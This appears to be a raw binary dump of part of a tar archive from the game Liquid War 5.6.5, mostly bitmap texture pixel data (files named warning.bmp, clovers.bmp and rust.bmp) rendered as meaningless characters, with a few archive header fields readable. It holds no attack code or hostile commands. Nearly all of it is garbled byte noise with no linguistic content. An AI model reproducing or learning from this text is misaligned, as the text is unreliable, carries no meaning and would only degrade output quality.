z{|X[]1]x^w2l>BV6;NBVtce}'*JWOP26^$6D69v !ZVZ/7B,Tl'fjJJbBSEpf]ce(&+ z 'n5:I2c">RjS]ktZhw` qt*1g0:=lgjTdm#'C$0).B\R_%J^fzfr~<>R2@8AHKMOj6B>RuIFHqvVk _IV^:jNcv b|6>_Ho..>+=^rUl:>V";R]e%BT-5<QL@@ *5  hFJb ny}:n]NPVFXpppppppppϊ:puH{kkLākfhp:HppppppppppplZpppppppppppppyg@F׺:9ee`77777wOaa戈K8% "%%V憉$3\\\\\\\\\\7w(77R\\([~$777777w+ [777ўў~[[O˘7777777w[Vhp"pppppppppppppppppp>9mZ1y@@2M)Xثpppppppppppppppp'rlZ:h{~7777777777Ka%% @%ew7\\\\i\3777-\![#77~;77777777777w䘘 ~wў77777777777ww~`pq竫ppppppppppppppppppppppppppp}Wep)l"dXppppppppppppppyQ>rqHC7N777777KE%%% Z% 8N!\\\\\!w## ~(\777O$#,~;77w#77777777++Ow7777w~77777777p`/ppppppppppppppppppx6CSX@Xpppppppppppppppppmd纺:@w777P-7777777##$4 % a;7N\\\\NO;A\Ǥ7wNOw[;w;77777ўw~O+w77777777O77777777777777777[Upqb>>xw7-RO$7777777O~wA7777ww\\\\\Ǐ\Ǐ\\\\\\\\\\O񺺺pv\\\\A\\\\~i@|juO;wi>9xθV'77R7-w;O87777w#\\N7777~$7-\\\\\\\\\\\\\\\\\\\\\\\\\\\\Ǐ\!p~\\\-Ǐ\\\\!~#77jUUj<O!\R[ V/Sܲ@77ў777w;;w77A\N7777;77!\\\\\\Ǐ\\\\Ǐ\Ǐ\Ǐ\\\\\\Ǐ\\\\񺺺pe-\\\!䤏\Ǐ\[77"tj`[N~OO~>ָ$$7777777ј777#7 777;N\\\\\\Ǐ\\\\Ǐ\\\\\\\\\\Ǐ\\\\\غp'\Ǐ\\\ Ǐ\\\\ ~wehU /w\\\ W,xָ677777\8777#PA77Ȥ77R7\\\\Ǐ\\\\\Ǐ\Ǐ\\\\\\\\pH3\\\\!~7(Ǐ\Ǐ(w UUUI\\!W]'>>g/+7777777\Ai+w77;(O[7\R77~(\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"qpuT~N3դդ7G[[[wU:UUu /-\\\AN>mV'777NAǏ(iw(~!77\!77N\\Ǐ\\\\\\Ǐ\\\\Ǐ\Ǐ\Ǐ\\\\\Ǐ\7pq$+77w[77wO7"||U[7'=6Z e6w77777Ǐ\\# 7~- !Ѥ\7!3\\\\\\Ǐ\\\\Ǐ\\\\\\\\\\\\\\\\'`p#;#[7777~7ўw[u|j>+7777A\\~ O!7\\37\\\\\\Ǐ\\\\\Ǐ\Ǐ\\\\\\\|ph\\\AR7 w7~7@{tUE\\A7'/>$w77777\\\\\+R77N\N\wȏ\\\\\\\\\\\\\\\\\\\\\\\\\\\\#hp[\Ǐ\\\\[-[77UUUu$\776V$$77777777\\Ǐi;77A\\!\\\Ǐ\\\\\\Ǐ\\\\Ǐ\Ǐ\Ǐ\\\\\\*NA\\Ǐ\\Ǐ\\@qpy߈.W >*c!Ǐ\\\\\\($ϺpqĈ߈}}'bb8>'}=ْ$w(\Ǐ\\Ǐސp߈߈˒xθxܲ=}};8P\\Ǐ\\`pK߈߈Kb.긲ꡒ*]#R\\wɺp߈߈߈.W.}};6ytp鈈߈߈..x}mb=Yc}}`uqpt戈߈bWW.x*]c=}Fpo߈߈߈}.bx'9}׺p߈߈߈J.cŸ=*ܸ'==========Q銺pu==K4K߈aKK'K4a戽bbW*.xJ>r΍J===='@up`e*}]zza4K߈߈߈b.*cc*=*܍܍#====]?Һpo*ĉ;]=*Ԓ}*ſJ⽆]JK8߈߈.6]]'b΍2ܸ==]$GHqpFń99.x.bb';JJ=J߈߈߈KW..']=}x܍6==]ž==JQ@T׺p]9θ..b*''$߈߈߈߈Kbx]]'ܲc=$=*}#epsؚβx.bb}==]$߈߈߈K>]]6܍cc#=*}]nZ:pu/>6V/]=..b}==߈߈߈߈4W겪m]=}ʼnL='p:Hmb'GD*6.=;߈߈߈K⾒.x*;.ι6'$]*}šaaKKJ,'Һph"=*GD=߈߈߈acbx.'6==KKK潽=]vҺphsu FFF`Q==߈߈߈aaaaJb.xZQ=Y'b'=*a4KJa⡉']c=:puQ$}=߈߈zzaaaa}b. 'Ծ⽆aa=}==cm񺺺p:e*}߈߈ᮅgabGc===a}]up'*ka߈߈Q______̑Qb.=c=œKaaaJ*}迾':pc=*=_߈߈߈_________nW#=a}.c8puZْ=__K߈_________nLL.'G=ţJb*9JGQTqp:W}蝖߈߈߅_mkk̅__JaWJ*.֩b.8Һp=*='DDf߈KnG`rXknaKaaba*.*6F@qptlKK߈4aG:qfaazaţJ'蒩.x>9xxgh6o׊Vxqtpg戈fazK4_ka憆K4߈KK==**'otחp𺺺pLf4J4̅KKKK߄ot{hqp::H߈K斈KK߈K棣߈K߈߈߈}=uqϺpq?z^5^z?4߈4K4JKKKaa蒒]:H𺺺qp:`z^^^^^^^^z߈߈߈߈߈azJc*'eӸηtJ}I!xǑĈΕtV|0V{\8ȒŸl̶RU``74N',nOѷ˴Ͷɿ޷ż~_9˔[d<'pXpB<> V9*Đ:&4!޼ʓ ²ƳP+2lƑΫv~Rٶĺ׺|ЗmLtǾiju̴[ɴϷ٤չ C,Ĺ}aBMں;̓=cjB!N30dB>+A7+ֹՒρɓ͕pJoF-1 mΖܻ]9tΈdn7?O[ A#$dQ1M3AKl|BE\iLt66666666 |||||||)ooPWWWWWWW``````````x^^^^^^^^^MF=ffffffff\\\\\h!!!!_________$$$$$$$$@ |||||||)ooPWWWWWWW``````````x^^^^^^^^^vvvvvvvv==ffffffff\\\\\h!!!!$$$$$$$$$OVBW LL[[[[[[['33ooPWWWWWWW``````````x^^^^^^^^^========Df=ffffffff\\\\\h!!!!$$$$$$$$$O66666666~W  W ooooooo_WWooPWWWWWWW``````````x^^^^^^^^^========Df=ffffffff\\\\\h!!!!$$$$$$$$$O66666666~W  W ooooooo_WWooPWWWWWWW``````````x^^^^^^^^^ccccc========Df=ffffffff(((((] $$$$$$$$$O66666666~W &&&&11111 W ooooooo_WWooPWWWWWWW``````````x^^^^^^^^^q============Df=ffffffff9ZZZZ$$$$$$$$$O66666666~WWWW? W ooooooo_WWooPWWWWWWW``````````x^^^^^^^^^q============Df=ffffffff9ZZZZ$$$$$$$$$O66666666~W$$$\ W ooooooo_WWh``````````x^^^^^^^^^q============Df=ffffffff9ZZZZ$$$$$$$$$O66666666~W$$$\ W ooooooo_WW88``````````x^^^^^^^^^q============Df&c<<<<<<<<9ZZZZ$$$$$$$$$O66666666~W$$$\I W ooooooo_WW88``````````'q============Df9ZZZZ$$$$$$$$$O66666666~$$$$$$$%{zzzzzzzzz ? 888888NNN++++++V DDDDDDD%=============fff\0!!!!!!!!_ZZZZZ$$$$$$$$Nc$$$$$$$%{ L ? 888888NNN++++++V DDDDDDD%=============fff\0!!!!!!!!_ZZZZZ((((((((yc$$$$$$$%{ L ? 888888NNN++++++V DDDDDDD%=============fff\0!!!!!!!!_ZZZZZ66666666c$$$$$$$%{ L ? 888888NNN++++++V DDDDDDD%======\0!!!!!!!!_ZZZZZ66666666c$$$$$$$%>>>>>%OOOO L?????c0000999988NNN++++++V DDDDDDD%======\0!!!!!!!!_ZZZZZ66666666cMMMM88888$$%cccccWCCCC LccccccNNNN88NNN++++++V DDDDDDD%======\0!!!!!!!! 966666666cWWWW ]]]@INNNNNNNNN"""""66666666cWWWW ]]]ZZZZZZZZN"""""66666666FWWIJJJJJJJ cccccWCCCCcc%&&&&&&&&&++++++++#KKKKKKKKK  ]]]<!ZZZZZZZZZS"""v!!!!'WWIJJJJJJJ hcccccWCCCCcc%`````````xTDDDDDDDDD  ]]]<((((((((!ZZZZZZZZZS"""v!!!!'WWIJJJJJJJcccccccc$CcccccWCCCCcc%````````` 1DDDDDDDDDD  ]]]<66666666k!ZZZZZZZZZS"""v!!!!'WWIJJJJJJJcccccccc$CcccccWCCCCcc%````````` 1DDDDDDDDDD======\>>>]]]<66666666k!ZZZZZZZZZS"""v!!!!'WWIJJJJJJJcccccccc$Cccccccc%`````````++++++ 1DDDDDDDDDDDDDDDDA]]]<66666666k!ZZZZZZZZZS"""v!!!!'WWIJJJJJJJcccccccc$Ccccccqcc%`````````++++++ 1DDDDDDDDDDDDDDDDA]]]<66666666k!ZZZZZZZZZS"""v____WWIJJJJJJJcccccccc$Ccccccqcc%`````````++++++ 1DDDDDDDDDDDDDDDDAVVV 66666666k!ZZZZZZZZZSrrr 9cccccccc$CcccccqRR[qqqqqqq%`````````++++++ 1DDDDDDDDDDDDDDDDABBBh66666666666666k!ZZZZZZZZZS!!!NNr"""""""cccccccc$CcccccqiiRMMMMMMM%`````````++++++ 1DDDDDDDDDDDDDDDDABBBh66666666666666k!ZZZZZZZZZS!!!NNr"""""""cccccccc$CcccccqiiRMMMMMMMcccccccccc`````````++++++ 1DDDDDDDDDDDDDDDDABBBh66666666666666kJ!!! """ccccccCCCCCVccccN`````` 1DDDDDD, \~~~66666666666666666P^gggggg!aDNNNNN^^^^^^^^^A"""ccccccCCCCCVccccN`````` &(DDDDD, \~~~666666666vvvvvvvv^gggggg!aDNNNNN^^^^^^^^^A"""ccccccCCCCCVccccN`````` DDDDD, \~~~666666666vvvvvvvvc^gggggg!aDNNNNN^^^^^^^^^A"""ccccccCCCCCVccccWNNNhhhhhhhGGG```  DDDDD,^(((666666666vvvvvvvvc^gggggg!aDNNNNN^^^^^^^^^A"""cccccc]]]]]]]]]]MMMMMM>>>>>>>>>>M]]]```  666666666vvvvvvvvc^gggggg!aDNNNNN^^^^^^^^^A"""ccccccMMMMMM>>>>>>>>>>M]]]```  .~~~~666666666vvvvvvvvchyyyyy^gggggg!a '''''^^^^^^^^^AVVV$jjjjjjMMMMMM>>>>>>>>>>M]]]0000%%%%%% .~~~~666666666vvvvvvvvc`ggggg<<<\======!a^^^^^^^^^A]]]BiiiiiiMMMMMM>>>>>>>>>>M]]]]]] .~~~~666666666vvvvvvvvc`ggggg 9 !a^^^^^^^^^A]]]BiiiiiiMMMMMM>>>>>>>>>>M]]]]]] .~~~~666666666vvvvvvvvc`ggggg 9 J=AAAAAAAA^^^^^^^^^A]]]BiiiiiiMMMMMM>>>>>>>>>>M]]]]]] .~~~~Jvvvvvvvvvvvvvvvvvc`ggggg 9 B^^^^^^gUUUUUeMMMMMMMMMMMM(>>>>>>]aaaaaaaaah 1DD111111111 Dz~~~~8666666666||gggg_z^^^^^^^^^^^^^^^gUUUUUeMMMMMMMMMMMM(>>>>>>]aaaaaaaaa 1DDDDDDDDDDDDz~~~~8vvvvvvvvv||gggg_z^^^^^^^^^^^^^^^gUUUUUeMMMMMMMMMMMM(>>>>>>]aaaaaaaaa &qqDDDDDDDDDDz~~~~8vvvvvvvvv||gggg_z^^^^^^^^^??????fUUUUUeMMMMMMMMMMMM(>>>>>>]aaaaaaaaa q DDDDDDDDDDz~~~~8vvvvvvvvv||gggg_z^^^^^^^^^NNNNNNDUUUUUeMMMMMMMMMMMM(>>>>>>]aaaaaaaaa q DDDDDDDDDDz~~~~8vvvvvvvvv||_z^^^^^^^^^NNNNNNDUUUUUeMMMMMMMMMMMM(>>>>>>]aaaaaaaaa q DDDDDDDDDDz}}}}9vvvvvvvvv||  _z^^^^^^^^^NNNNNNDUUUUUeMMMMMMMMM]aaaaaaaaa q DDDDDDDDDDz5|||||vvvvvvvvv||  _z^^^^^^^^^NNNNNNDUUUUUdMMMMMMMMM]]]0aaaaaa]aaaaaaaaa q DDDDDDDDDDz5|||||vvvvvvvvvZZ8YYYYYYY  _z^^^^^^^^^NNNNNNDUUUUUb MMMMMMMMM]]]0aaaaaaaaaaaaaa q DDDDDDDDDD vvvvvvvv5|||||vvvvvvvvvCC!+++++++  _z^^^^^^^^^NNNNNNDUUUUUb cMMMMMMMMM]]]0aaaaaaH1  q DDDDDDDDD 666666665|||||vvvvvvvvvCC!+++++++  FFFFFFFFF=`````````NNNNNNDUUU 9]]]]]aaaaaaaa\C999999999M  DDDDDDDDD%MqCCC++++++ ! ^^4UUUUUUUNNNNNNDUUU^^^^^^^^ _9]]]]]````````?C[[[[[[[[[  vffffffff(hFvCCC++++++ ! ^^4UUUUUUUNNNNNNDUUU F9]]]]] %C[[[[[[[[[  v66666666`FvCCC++++++ ! ^^4UUUUUUUSSSSSS&UUU F9]]]]] %C[[[[[[[[[111111&&& v66666666`FvCCC++++++ ! ======a^^4UUUUUUU >UUU F9]]]]] %C[[[[[[[[[DDDDDD v66666666`FvCCC++++++hhhhhBLLLL ^^^^^^yUUU^^4UUUUUUU >UUU F\ %C[[[[[[[[[DDDDDD v66666666`FvCCC++++++] ^^^^^^yUUU^^4UUUUUUU >UUU FYHHHHH %C[[[[[[[[[DDDDDD v66666666`FvrrrL] ^^^^^^yUUU^^4UUUUUUU >UUU FYHHHHH %C[[[[[[[[[DDDDDD v66666666`FvrrrAAAAAA] ^^^^^^yUUUvvbUUUUUUU >UUU FYHHHHH %C[[[[[[[[[DDDDDD v66666666`FvrrrAAAAAA]L77777777^^^^^^yUUUNNUUUUUUU >UUU FYHHHHH0ZZZZZZZZZ %C[[[[[[[[[DDDDDD v66666666`FvrrrAAAAAA]L^^^^^^yUUUNNUUUUUUU >UUU111111111WXXXXXXXXXE(((((((V"" !CCCCCCCCCCQRRRRRRDDDDDDDyzzzzzzzzz1CCCggggggggg{r%AAAAAAAAG^^^^^^^^'UUUUUUUUY >UUUDDDDDDDDDJHHHHHHHHHK(((((((V"" !CCCCCCCCCCQRRRRRRDDDDDDDy CCC+++++++++r%AAAAAAAAGGGGGGGGGzUUUUUUUUY >UUUDDDDDDDDDJHHHHHHHHHKNNNNNNN999 !CCCCCCCCCCQRRRRRRDDDDDDDxyyyyyyyyyW CCC+++++++++r%AAAAAAAAGNNNNNNNNUUUUUUUUSSSSSS>TTTDDDDDDDDDJHHHHHHHHHKL !CCCCCCCCCCQRRRRRR v666666666 vvvvvvBrrr+++++++++r%AAAAAAAAG>>>>>>M"""NNNNNNNNUUUUUUUU AAADDDDDDDDDJHHHHHHHHHKL !CCCCCCCCCCQRRRRRR v666666666 ((((((8rrr+++++++++r%AAAAAAAAG@@@@@@("""NNNNNNNNUUUUUUUU AAADDDDDDDDDJHHHHHHHHHKL !CCCCCCCCCCQRRRRRR v666666666 ((((((8rrr+++++++++r%AAAAAAAA G(((((@@@@@@("""NNNNNNNNUUUUUUUU AAADDDDDDDDDJHHHHHHHHHKL !CCCCCCCNNNOPPPPPP v666666666 ((((((8rrr+++++++++r%AAAAAAAAWWWWG@@@@@@@@@@@("""NNNNNNNNUUUUUUUU AAADDDDDDDDDJHHHHHHHHHKLMM! BBB777777 v666666666 ((((((8rrr+++++++++r%AAAAAAAAWWWWG@@@@@@@@@@@("""NNNNNNNNUUUUUUUU AAADDDDDDDDDJHHHHHHHHHKL99!BBBBBBBBBB777777 v666666666 ((((((8rrr+++++++++OwwwwwwwwWWWWG@@@@@@@@@@@("""NNNNNNNNUUUUUUUU AAADDDDDDDDDJHHHHHHHHHKL99!BBBBBBBBBB777777 v666666666 ((((((8rrr+++++++++ 9]]]]]]]]WWWWG@@@@@@@@@@@("""NNNNNNNNUUUUUUUU @AAAAAAAADDDDDDHHHHHHHH. !IIIIIIIII0BBBBBBBB9777777777777u@((((((((((((rrrAAAAAAAAAAAAfWWWWWWWWWWWh@@@@@@@@@@@""" 5UUUUUUUU@AAAAAAAADDDDDDE<! 1&&&&&&&&FG77777777777u@((((((((((((rrrAAAAAAAAAAAAfWWWWWWWWWWWh@@@@@@@@@@@""" 5UUUUUUUU@AAAAAAAADDDDDD::::::::;9! 1========>77777777777u@((((((((((((rrrAAAAAAAAAAAAfWWWWWWWWWWWh@@@@@@@@@@@""" 5UUUUUUUU@AAAAAAAA&&&&&&$CCC::::::::;9! 1========><<<<<<] 7u@((((( AAAAAAAAAAAAfWWWWWWWWWWWh@@@@OOO 5UUUUUUUU@AAAAAAAA((((((9"""::::::::;9B 1========>>>>>>>c7u@((((( AAAAAAAAAAAAfWWWWWWcccccc????OOO 5UUUUUUUU@AAAAAAAA((((((9"""::::::::;9< 1========>>>>>>>c7u >((((( AAAAAAAAAAAAfWWWWWWcccccOOO 5UUUUUUUU@AAAAAAAA((((((9"""::::::::;9< 1========>>>>>>>c7uc AAAAAAAAA000cccccccccccOOO 5UUUUUUUU@AAAAAAAA((((((9"""::::::::;9< 1========>>>>>>>c7uc AAAAAAAAA]]]cccccccccccOOO 5UUUUUUUU9????????((((((9"""::::::::;9< 1========>>>>>>>cLc AAAAAAAAA]]]cccccccccccOOO L98((((((9"""::::::::;9< 1========>>>>>>>cNc ]]]cccccccccccOOOZJAAAAAAAA (((((((((555555555""""+,,,,, 62222234444777777777ssssssssst((((Orrrrr B]]]]]]]cccccccccccOOOOOO IAAAAAAA ((((((((("""""""""""""+,,,,,&2222234444ooooooooop((((Orrrrr B]]]]]]]cccccccccccOOOOOO IAAAAAAA ((((((((("""""""""""""+,,,,,&2222234444ooooooooop((((Orrrrr B]]]]]]]ccccccccccc\\\\\\\M$$OOOO IAAAAAAA ((((((((("""""""""""""+,,,,,000000%111&2222234444ooooooooop((((Orrrrr B]]]]]]]ccccccccccc @OOOO IAAAAAAA ((((((((("""""""""""""+,,,,,$$$$$$%&-----.////ooooooooop((((Orrrrr B]]]]]]]ccccccccccc @OOOO IAAAAAAA (((((((((""""""""" )*****$$$$$$%&'ooooooooop((((OSSSSS B]]]]]]]cccccccGGGGqqqqq @8888J99999IAAAAAAA ((((((((("""""""""#$$$$$$%&'ooooooooop  _JJJJJ]]ccccccc @]88888IAAAAAAA ((((((((("""""""""#$$$$$$%&'ooooooooop  _JJJJJ!!B  @]8888888J ((((((((("""""""""#$$$$$$%&'ooooooooop  _JJJJJJJI @]88888889!!!!!!!!!"""""""""#$$$$$$%&'ooooooooop _JJJJJJJI @]88888889  !nkkkkk JJJJJJJJJJ( !888888888 !nkkkkk JJJJJJJJJJ( !888888888 !nkkkkk JJJJJJJJJJccccccc@ G00!888888888 !nkkkkk 00000000008888888888<<kkkk((((Wmmmmm FFFFFFFFFFF\\\\\\\\\0!!!888888888 >kkkkWWWW$lllll FFFFFFFFFFF\\\\\\\\\0!!I______!!!OOOOOO>kkkkWWWW$lllll FFFFFFFFFFF\\\\\\\\\0!!!!!$$$$$$$$$$ >kkkkWWWW$lllll FFFFFFFFFFF\\\\\\\\\0!!!!!$$$$$$$$$$ >kkkkWWWW$lllll FFFFFFFFFFF\\\\\\\\\0!!!!!$$$$$$$$$$liquidwar-5.6.5/custom/texture/warning.bmp0000664000372000037200000000021613407756104020317 0ustar travistravisBM>(P?p0?liquidwar-5.6.5/custom/texture/clovers.bmp0000664000372000037200000001206613407756104020335 0ustar travistravisBM66(@@ bJ.)z,b*tQ z.DFn 8PLz h8o)6eN8oO}/ \bPzOH2&G8Q!'z yF8n q#2/Dn[8%j%Q z>SN}(&pY?'\JGxKcPkZr1H@+(-d Pv&)\PvQ'=/7jP@N|$j]0&pp0)dDj r?w@_()p<{28q f} {'H^0Qqr8d#|d^S0,1"V$V8j$A>6j$j$J,v6hZv+TOT:$J&RNo)@|7] )^!> l,V"VGOrhATf7e 4f.9 A%!FF*v%=vgP<(Lv674j'j 2 (V@j,I2sVtNn*Q,Z . ,n*)n_!?/Jp$}8|F'dA7d6w\]{?Hr *|'(|7g!Ov#Nv YGf'`@'j @h07j V*v\R: O N{L~6 \ D wZ\ P E N@*fL.*~|R'~/IG'RfP~TJJ9*~ xI9rr<~ %fpn B.XiH 7 W]vZ+?qq>.->c(3U+rŻ7HaT* c7'+q ]9-  z z"yw -Fgwyqq.hP3HYT,--)z+Vii-ZK V Iy{moidO%ho`JQ{#rr+#Y-;Tˣ.$PVHɪ^CzzO !zv@@oqww!i--gxYZ6PTYZ9-EEVVcIzeQ.BZ[Gqq%>qXQ)s $-+XmRtT[GV 0XO-G*PaZF;9 z'Bpn>qqymBwe)!)&ecTi#[" xnIz GVgmpZT9CVav "I d(GYiq%i&e XiBzcGVc c 8G^PaP$c Dk|0 8n7d7nYRmRe BG'czzV"G eTaA=I sh|h؛Z5O- G)e)cce nrHXc s6[g" Ս[FXqDR&۬Y- c%o -3emIccc grre )}SSL5Fi.$Onou;;;Y8 F.w+YFc *r"r8gr)#aFwwiiu-rY'G7YxQ.+| F[/**rGsĺ e8A}uWwBPϝ7 voszm..g$P/8"eeh'ӌTN*L8F+#ywy#vvD ooFVRQ&"aa5 /gG")R))3sG 8nxFyB3mou-iyw" I .3Y I\La *sVt&)eR&[1F- m-mxBFVB?BBFBBFceFla%s zG꒶lDksAdyo.&)RWo@#y3?XVvo- oBBV 7j\avvBzz V8PжGGV-DFw.m/* b'BR>q!NqnVZ9 v>JMMR Oal+w-IP$_2^aD..i+{!erv>#W+m Vm JFx{hO+BnP’9^U%%Wm-mUkޣ ){&VU{ j`Uxz Ve a+% Ljbp.Bq˸{#oJiˣDDIV RR&Rzz+yI (4Sc5la97RFUy3%ڣ||ўRVkc6i')VVm )Gz__r5 )RriyiBw| ||e O`q[֫eB")!x ! GG \2_a+991 &IGOǻʱ0|ѫظeOm.wh0)&QU Bm37  e_1^ c &Rec 7R Vr|h&&c{)RR#yBN!tQT(8el =e' ccc 7l OWzVrxeR&'M-7 GlVVIx3yQRx)Ăc RxanNbL9ےTGTI3b: Ryc x{! G GP9aNz +aTEczGp(b^TY5!N:7 GR!& V z ljn  =A7cٶ191I*G\9y <  G 7RVc Iz͇n7 d V sn l\ll ccc۬ oɱV7dH- FcIcc zIeeR͊+-ڻj m<Pp :bo-NVG t] ooc6ycs)!e"r+H#+^a-w^_Nt=c!3kkoɿi?-B".>0!)&$-XYXT+jlB]9_1t:LcxYMtxo#`qW 3N!3۱3֣R)RVe$RxGrbaa E_,7}L3B37U3qq.3Yxdx.W0W e7) Z,yilͱo^55d -yO+y{{!x-rDqq&G gЖ+V RPcz7BE LN777 * JJ!!- oB-G6'.wwe2AnYie /I GnAZz8YY OBII . J wG 3RVVY{ w0,2[zg#Θ  7db: V + #o 6V @`owVG7xtN3y..V2͢Tba_aG77 zV+ r>Bzzz G#8GY3'&e G+Yn_}Nt a\\cVd VG B-o BαXsgNxNycczzR&T,zA\aaaT:l۷ G9xT%o`un:3rI zQ e,=}L\\]jP]9<NdJ`yp#J@-= R zz R=(da\Gal$ N`o!{W#K>wvLa+ IIQOX99a[dd(=}AbN+>?YRxc uwXGr9 r'O7 7)all7(AdOnRx? JzIcc i< g ++cBByy Ve7 7+9aPa9a=Ld(cy-<<+okczG$GToq%u-V<<'Wr 9f,G cOuNXq-vv%v ++?))'UnI '=P=4T lcOB-$Tz >?moJgz93ioB -xynn'<Q8@yl+1]-T}VIrmP>J+ycGOtVdj9c[OcGnn#+eYd8iqoXNvv]]9'p6cc[YBwcIFY a^ZrBo-BFT+O-Xg'87j u'`q I- oR{msYxI7IVwGoT#qqq%q g$0wyhQGc[niR&Ie8TT*TAzGBݙgzn iNy> wk{J@~q)RRܸs c c s dFΐGXB cO- !iqqȣ>@ғg o˓gm"h& Od,::GVBDmOg< w..w%q&)Rqwh،) :GLa}cxXequwwBgY9[z!kooF>> mwyiw.#::#Zf95y %.oڙ9]RF~-u@BmX.Whs" %YTH^Lp7Oy#yi9+9+Gewqq#iBB>o3qwX.DDc+p+8liquidwar-5.6.5/custom/texture/rust.bmp0000664000372000037200000004206613407756104017660 0ustar travistravisBM6D6(@Dz %LL!dF,bX$;L*d/}ELL465#I&d,oXX %g4p(p*|?:/X@L3c=X)dXX0h<L7Wy-LG0JD}wò>\5Zr7B:'R*:BEj(WE>YU:tB5C*t:Xjjg7w(<<77*mNWQ6%g<BBmQ@(E B8*g\7%'g|*D-\777UQk>W2bbRu::<m(B&wwz-;\7\7UmÃBBZZ>3S w>I((q11*Q:Z-$Mg\#*7e<ZO 777BګȀ_*|Q(WZ;C57\*'*\'%<<wZZ3~ m"%eU*:<||qE&C \C##g7H77QBjzzKWIq]qQmj wW-#NRRNNU<<^aC3zRrBj4uqm*::mEa--##\\G*erB7Bj WQ||BE7  O\-Dx'7>aCC-BC5C\%UUY*gBwIviCwI(>,:wCB wBw Bd_%G'NqI CaBO\ H=x_|9Q:WjI*aCC-\---xu<7B\CZw>z33fh@6y6QW>aW\-$M_%'''g*<$*Z*\$3"'A5 66%PBB7-" *7g-W*wWw<3$D**EIg&"*3"G'*&*'7Jd@9*'6uqP>j*& '-$''$ *WIM''ch!6'*'qWW- *x''**'*'CE>Ig"J2@@Ky'**'Wj-&*\x**g'WrIQN$"F6''urE-Ng'G%'*g'**zz :$$'%֘,Wj**7''$6** n%$6u::(((j5aMRHHT6y67*'**''$"Ⱦ'7d%'% jmEBYR#gguu%Tyggg**2"3358%'g--g'uuu%"I\\\*7'9F|H'u**''*'mPNg7N:*7y6yy%xx[3"$3#g7NNU96%'%::*%G*QQ*-R**$Ⱦ2$#7#gRgT'g*'6ր7\\c|QI 66y96y$&" L33A˧^\*'*UD%F**Bj>%D*-:nQ%\$'7YPV6T6y"""$$SS*Gg7#\*NYgHG2**m'>I"HG_xJN6ߛ%$$ZWgRNHN7kUFN\vM<\Zj5HHHHHD_D\#7WMbqNFG#7^NHNFF_cdE^#w>>kNNNgRg7#E)0~AbdMf0@@@H7^\HkNU}NNNcXJdMM_Z\GF^^g7G*E)v);Rem>Rc̠ΛVVR7NP TJc[=awvԒ^^^g7n RJ@_eWcX~~07ggTk>G_dJcM"WW w#\N77mBtW)MRqX7cRGJMG^^Nk>Rc;v`;\v8c\7RRkYgRB: WtD_NjGFFMGN^#7NUQ|WEdJcjZcB#cZ^kH7\NmBIѹMDMeEɺ\GHFYgGR^7BePJMR;;a~UHRRBWWfMjw#JDRkvkNR\7QYGXt+DJ;){AaGGH7B:<E\Hڝts>gRRVUYg<WTAM7RGMw>#⺲jDYmm(>tjkdDR^jP#*NUTUWjI djG\;;\k WmHH*<GYeXv#HmW@RG'UU:w>#RR7wO# jtGF'UQWYYPH@VHR\7EEtNY,WIGHY1j\RR;)RgwjB\YWY##\\RvN<1}(> UqWjiI#gR7jE7I(FVDH1E`ڝ/KF\#R5vgFe(eH%s1qWI`qq4MM7B><jOU:tr^RHRJJR_*sjqWQ'EPjRGV>YHDR(W kEEMG^ q(6%N6E1,FR7tes_@_WWW *<<GHjMH>jW24f%jZ'/JU(FUqW,r(U5x:-IW c*WUu3i%GP>DYjqJi(P(|AA6>jdBIw Wj>eZrkFҭ7Bj@B>(%'A \WjBBMYr Eez,QmdIWW>O^VsK%jB\H<B*Z*Qn6"(mgCC>PM%g7*"$&EO˪ w"**$t:uf~jq>Yj*Þw>p*gg"umBwijjBB"BIPI7Y,>wj CYr>Pj7*u*ݫ$wBvj>(!3 iNYquB(jWWjj>W>\*7g'3":I>:I>Z2Z>Ij:u 'j>-BNP:m'%''7jR5{B*W:> IW1:(6%<">\5$I(Ijj>* #g:Q''*'(wjAҪ=3-Zjjq(%:>EM*'g*%j;8ҫz޲(jIEI*'*7<{{8jWjWEj(%9m<r3BIWI*R*'77BBW [r%-x|B'mPjIZ7 I#\**7BB>IC>B gPm:(*Qm>Z$Z<P'mm:$>j(<(Z jI 7**m:$>{aZw&8[À!m:''IIIZ<6::: 7{òZʾ<%*IEEm**g'%:Q:Q!rIOw( z3%'*':|IIWqIEZ#8 *'%%u%'NBwZCzS6ux%Q,BBZWWPEa**%%%%xB>j2Ⱦ؀':(IPW$Ej u'mIrM(I<*B<- 32u*W>I>W**'|WI:P(I7I<B'%%**<(r(WW>>E-"\xq'If4!77Wx :$$$%'R%!Y"x$$$$zH*7'2'\\Pm'xQTYU*'W(2:8@KTeϗm<2 gRNNNgeee7M>,f--I\FH}K}TTYY7gb&cDD%DwI"2xuF\*gNk-W*Z jjINNFFUkR-7\HkjWeW#gTH^7J\g7\{ӎZ [ٝMDVD_DYkHDJRZ#MJGD}TmII(RNNF\*N\cc\Rv`<(*(GVDnkH*##\kM{0YEmt1W(7kHN77\#RJG_FjjWA:7cDDDDHkFF*(jjjYGN>m((WqYNH7#\##cGk/GI RHHHHVFNNW rr(_@7cG^gGN^Y\I>IXX`H.kBBRHFTFFUFnbD(1IN\NYk7kwڝV`Nj^#7gTVYUYBrZq rRkHNkrZ(`q/tIUl/IgNTYW IDjBJڝ>>/UUNJkrRI1>WMvQE>BIBNk7e6 <``ʾg>>KTgYn>W`r,Pt/ENkw 7NNHBJsWIHYU(YskII>X`BIgNB>>%ZI'>BXӂ_}TeeI4mWe@?>̚M&B jYNYkmt>Nw\aAAFQjqMk> RXiʫZ>NNmtgW wZ^~FF}TsjjW> ;vYe(nT%_(>jX`HtBBj H7N*g'iX*N>`FP_MrEvIj7^N' CgrBWdwkXtIUdGH}VibMEjTw W~fIEB'mG~{2JZWIw {j0dIwE7NFTDflA J0XJ*WjRW>NEE*Ye88XbM jCOwckDsjEIT}H"5ii5X>RRr1X>GB4f~N ZcWlHB'6}T0834NR?j2Q*CvcZO jW1>/]UTUmcfEj>Z7X>ZjGY7*'G{X #.HFqtF}FnQk^Rc<>jg>jZjWjg7kHf٧{&gWs1@nU}B<@$G wj#wR&E*tUI(dNHYQT:BBB3d`> 2_,%:BB<j05j#777R''*:eBZw$C.W,*|QB>qv8 OE OC5JFg\777gQYm:Zw7-*>I,'Q<W(x1s,'eQ:B<B>---G##\\7rZwI \C#ww,<|:::<CBCwZ$-\#Q7^B8\-**YaZ>I[%ڦ/||+W5g:j&\--*''*77g>C8BZIEyl%<I B P7--$D''**7\$IWw*P2uVHW9%uWWI(----\x%'**\\wWg\\& :IW,QE>',I 7*:$""***2'N_~bx2[?uW>WB$$$%xx'' *7N:sz[ % 